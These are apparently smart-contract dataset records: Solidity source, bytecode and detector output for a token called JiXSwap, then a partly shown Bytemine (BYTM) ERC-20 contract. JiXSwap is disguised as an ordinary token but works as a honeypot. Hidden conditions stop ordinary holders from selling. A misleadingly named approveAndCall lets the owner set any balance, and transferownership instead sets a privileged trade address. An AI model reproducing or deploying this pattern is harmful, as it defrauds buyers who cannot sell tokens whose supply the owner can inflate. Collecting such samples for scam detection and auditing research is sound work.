Any failed proposal can be talked upon in our socials, but they can be issued again after 2 weeks.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract JiXSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a7231582022b7ea27196ed343ca1ed4df57a9f273336c20d7c4d65ded102661a50935464764736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,277 |
0xbd79bca023a7cc4a92d1db1b57338d5c69ad07db
|
pragma solidity ^0.4.24;
// File: contracts/ERC20-token.sol
/**
* @title ERC20 interface
*
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/OwnableMintable.sol
/**
* @title OwnableMintable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* @dev Added mintOwner address how controls the minting
* functions, this simplifies the implementation of "user permissions".
*/
contract OwnableMintable {
address public owner;
address public mintOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MintOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
mintOwner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyMintOwner() {
require(msg.sender == mintOwner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to transfer mint control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferMintOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit MintOwnershipTransferred(mintOwner, newOwner);
mintOwner = newOwner;
}
}
// File: contracts/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint length;
while (j != 0){
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
}
// File: contracts/BYTM/BYTMToken.sol
/**
*
* @title BYTMToken
* @notice An ERC-20 token designed specifically for crowdsales with investor protection and further development path.
*
*
*/
contract BYTMToken is ERC20, OwnableMintable {
using SafeMath for uint256;
string public constant name = "Bytemine"; // The Token's name
string public constant symbol = "BYTM"; // Identifier
uint8 public constant decimals = 18; // Number of decimals
//Hardcap is 1,000,000,000 + 18 decimals
uint256 hardCap_ = 1000000000 * (10**uint256(18));
//Balances
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) internal allowed;
//Minting
event Mint(address indexed to, uint256 amount);
event PauseMinting();
event UnPauseMinting();
//If token is mintable
bool public pauseMinting = false;
//Total supply of tokens
uint256 totalSupply_ = 0;
//Constructor
constructor() public {
}
//Fix for the ERC20 short address attack.
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev allowed total number of tokens
*/
function hardCap() public view returns (uint256) {
return hardCap_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool) {
return _transfer(msg.sender, _to, _value);
}
/**
* @dev Internal transfer, only can be called by this contract
* @param _from is msg.sender The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal returns (bool){
require(_to != address(0)); // Prevent transfer to 0x0 address.
require(_value <= balances[msg.sender]); // Check if the sender has enough
// SafeMath.sub will throw if there is not enough balance.
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require(_value <= balances[_from]); // Check if the sender has enough
require(_value <= allowed[_from][msg.sender]); // Check if the sender is allowed to send
// SafeMath.sub will throw if there is not enough balance.
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spend.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* MintableToken functionality
*/
modifier canMint() {
require(!pauseMinting);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyMintOwner canMint public returns (bool) {
require(_to != address(0)); // Prevent transfer to 0x0 address.
require(totalSupply_.add(_amount) <= hardCap_);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to pause minting new tokens.
* @notice Pause minting
*/
function toggleMinting() onlyOwner public {
if(pauseMinting){
pauseMinting = false;
emit UnPauseMinting();
}else{
pauseMinting = true;
emit PauseMinting();
}
}
/**
* @dev Owner can transfer other tokens that are sent here by mistake
*
*/
function refundOtherTokens(address _recipient, ERC20 _token) onlyOwner public {
require(_token != this);
uint256 balance = _token.balanceOf(this);
require(_token.transfer(_recipient, balance));
}
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c5780631861355b146102375780631cf1e3ff1461027a57806323b872dd146102dd578063313ce5671461036257806340c10f191461039357806366188463146103f857806370a082311461045d5780637d55094d146104b45780638da5cb5b146104cb57806395d89b4114610522578063a9059cbb146105b2578063cecb06d014610617578063d73dd6231461066e578063da8fbf2a146106d3578063dd62ed3e14610702578063f2fde38b14610779578063fb86a404146107bc575b600080fd5b34801561012357600080fd5b5061012c6107e7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610820565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b50610221610912565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b50610278600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061091c565b005b34801561028657600080fd5b506102db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a73565b005b3480156102e957600080fd5b50610348600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cd1565b604051808215151515815260200191505060405180910390f35b34801561036e57600080fd5b506103776110a7565b604051808260ff1660ff16815260200191505060405180910390f35b34801561039f57600080fd5b506103de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110ac565b604051808215151515815260200191505060405180910390f35b34801561040457600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112f5565b604051808215151515815260200191505060405180910390f35b34801561046957600080fd5b5061049e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611586565b6040518082815260200191505060405180910390f35b3480156104c057600080fd5b506104c96115cf565b005b3480156104d757600080fd5b506104e06116d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052e57600080fd5b506105376116fa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561057757808201518184015260208101905061055c565b50505050905090810190601f1680156105a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105be57600080fd5b506105fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611733565b604051808215151515815260200191505060405180910390f35b34801561062357600080fd5b5061062c61175e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561067a57600080fd5b506106b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611784565b604051808215151515815260200191505060405180910390f35b3480156106df57600080fd5b506106e8611980565b604051808215151515815260200191505060405180910390f35b34801561070e57600080fd5b50610763600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611993565b6040518082815260200191505060405180910390f35b34801561078557600080fd5b506107ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a1a565b005b3480156107c857600080fd5b506107d1611b6f565b6040518082815260200191505060405180910390f35b6040805190810160405280600881526020017f427974656d696e6500000000000000000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600654905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156109b357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd101401b0bfdc046da585b826bc2a57b481f26c1b93a83b503fb30990bc241f660405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad057600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610b0b57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610ba657600080fd5b505af1158015610bba573d6000803e3d6000fd5b505050506040513d6020811015610bd057600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c8657600080fd5b505af1158015610c9a573d6000803e3d6000fd5b505050506040513d6020811015610cb057600080fd5b81019080805190602001909291905050501515610ccc57600080fd5b505050565b6000606060048101600036905010151515610ce857fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610d2457600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610d7257600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610dfd57600080fd5b610e4f83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7990919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ee483600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681